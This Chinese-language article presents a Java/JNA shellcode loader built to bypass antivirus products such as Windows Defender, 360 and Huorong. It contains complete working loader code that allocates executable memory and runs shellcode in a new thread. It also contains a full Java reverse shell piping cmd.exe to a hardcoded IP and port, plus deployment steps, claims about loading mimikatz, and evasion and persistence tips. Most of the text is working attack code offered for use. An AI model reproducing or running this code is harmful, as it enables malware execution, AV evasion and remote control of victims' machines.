全新视角下的 Java:一种非传统的免杀加载器轻松绕过杀软
字数 1231 2025-08-29 22:41:32
Java免杀加载器实现与绕过杀软技术详解
引言
在信息安全领域,加载器(Loader)在后渗透阶段扮演着关键角色。传统加载器多采用C/C++编写,通过Windows API动态申请内存、写入shellcode、创建线程执行。然而,在当前杀毒软件愈加敏感的趋势下,这些"套路化"的做法极易触发检测规则。
本文介绍一种非传统的免杀加载器实现方式——使用Java结合JNA(Java Native Access)技术实现shellcode加载与执行,能够绕过主流杀软检测,包括Windows Defender、360、火绒等。
Java作为加载器的优势
Java在安全领域一直被视为"中规中矩的业务语言",但正是这种特性使其成为优秀的加载器平台:
- 字节码结构复杂:非标准PE文件,静态分析难度大
- 无IAT导入表:jar文件不包含传统hook点,规避许多检测
- 运行依赖JVM:大多数沙箱不支持执行jar包
- 非传统API调用方式:通过JNA/JNI调用,行为特征库中少有匹配
- 新颖的攻击面:不易被蓝队规则捕捉
这些特性使Java成为低特征、高执行力的绝佳loader平台。
核心实现原理:JNA调用系统API
Java默认不能直接调用本地API,但通过JNA(Java Native Access)可以调用任意DLL中的函数,无需JNI、无需C/C++ DLL、无需写native代码。
加载逻辑流程:
- 申请可执行内存:
VirtualAlloc - 写入Shellcode到内存:
Pointer.write(...) - 创建线程执行Shellcode:
CreateThread - 等待线程结束:
WaitForSingleObject
所有步骤均通过JNA实现,全程不注入、无落地EXE,无需外部DLL。
完整实现代码解析
基础加载器实现
package malware;
import com.sun.jna.*;
import com.sun.jna.NativeLibrary;
import com.sun.jna.Function;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
public class test1 {
public static final int MEM_COMMIT = 0x1000;
public static final int MEM_RESERVE = 0x2000;
public static final int PAGE_EXECUTE_READWRITE = 0x40;
public static final int INFINITE = 0xFFFFFFFF;
public static void main(String[] args) throws IOException {
NativeLibrary lib=NativeLibrary.getInstance("kernel32");
Function virtualAlloc=lib.getFunction("VirtualAlloc");
Function createthread=lib.getFunction("CreateThread");
Function waitthread=lib.getFunction("WaitForSingleObject");
Function free=lib.getFunction("VirtualFree");
if(args.length<1){
System.out.println("java -jar xxx.jar filename");
return ;
}
String filename=args[0];
byte[] content=Files.readAllBytes(Path.of(filename));
Pointer memory = (Pointer) virtualAlloc.invoke(Pointer.class, new Object[]{
Pointer.NULL, // lpAddress
content.length, // dwSize
MEM_COMMIT | MEM_RESERVE, // flAllocationType
PAGE_EXECUTE_READWRITE // flProtect
});
if(memory==null){
System.out.println("memory fail");
}
memory.write(0,content,0,content.length);
System.out.println("[*] Shellcode written to memory");
Pointer thread = (Pointer) createthread.invoke(Pointer.class, new Object[]{
Pointer.NULL,
0,
memory,
Pointer.NULL,
0,
Pointer.NULL
});
if (thread == null) {
System.err.println("[!] CreateThread failed");
return;
}
System.out.println("[*] Shellcode thread started");
// Wait for the shellcode thread to finish
waitthread.invoke(Void.class, new Object[]{
thread,
INFINITE
});
System.out.println("[*] Done.");
}
}
反弹Shell实现
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class ReverseShell {
public static void main(String[] args) {
String host = "192.168.132.153"; // ← 改成监听端IP
int port = 3888;
try {
Socket socket = new Socket(host, port);
Process process = new ProcessBuilder("cmd.exe").redirectErrorStream(true).start();
InputStream pi = process.getInputStream();
OutputStream po = process.getOutputStream();
InputStream si = socket.getInputStream();
OutputStream so = socket.getOutputStream();
new Thread(() -> {
try {
byte[] buf = new byte[1024];
int len;
while ((len = pi.read(buf)) != -1) {
so.write(buf, 0, len);
so.flush();
}
} catch (Exception ignored) {}
}).start(); // Thread: 把nc输入转发给cmd
new Thread(() -> {
try {
byte[] buf = new byte[1024];
int len;
while ((len = si.read(buf)) != -1) {
po.write(buf, 0, len);
po.flush();
}
} catch (Exception ignored) {}
}).start();
} catch (Exception e) {
e.printStackTrace();
}
}
}
部署与使用
- 将Java项目打包成jar文件
- 直接运行即可:
java -jar xxx.jar filename - 对于反弹Shell,修改IP和端口后直接运行
免杀效果
- 即使是最简单的加载方式也能绕过市面上大部分杀软
- 能够加载mimikatz等工具绕过核晶防护
- 简单的socket连接方式也能绕过检测
环境要求与优化
最小化Java运行时环境
实战中可能不需要完整的Java环境,最小化运行时环境可包含:
mini-runtime/
bin/
java.exe ← 仅需这个启动器(或javaw.exe)
conf/ ← 可选,用于系统配置
lib/
jrt-fs.jar ← 重要,虚拟文件系统支持
modules ← 核心模块(由jlink生成或手动提取)
增强免杀能力的方法
- 增加反沙箱检测
- 使用更高级别的API调用方式
- 代码混淆
- 动态加载技术
权限维持应用
Java也可以作为权限维持的有效手段:
- 利用定时任务执行
- 通过注册表实现持久化
- 结合其他技术实现更隐蔽的驻留
总结
Java加载器因其独特的运行机制和调用方式,在免杀领域具有显著优势:
- 先天免疫沙箱模拟
- 字节码执行方式不同于传统PE文件
- 无传统导入表和hook点
- 新颖的攻击面难以被规则捕捉
通过JNA技术调用底层WinAPI,实现了"免杀+执行"的新思路,为红队行动提供了新的技术选择。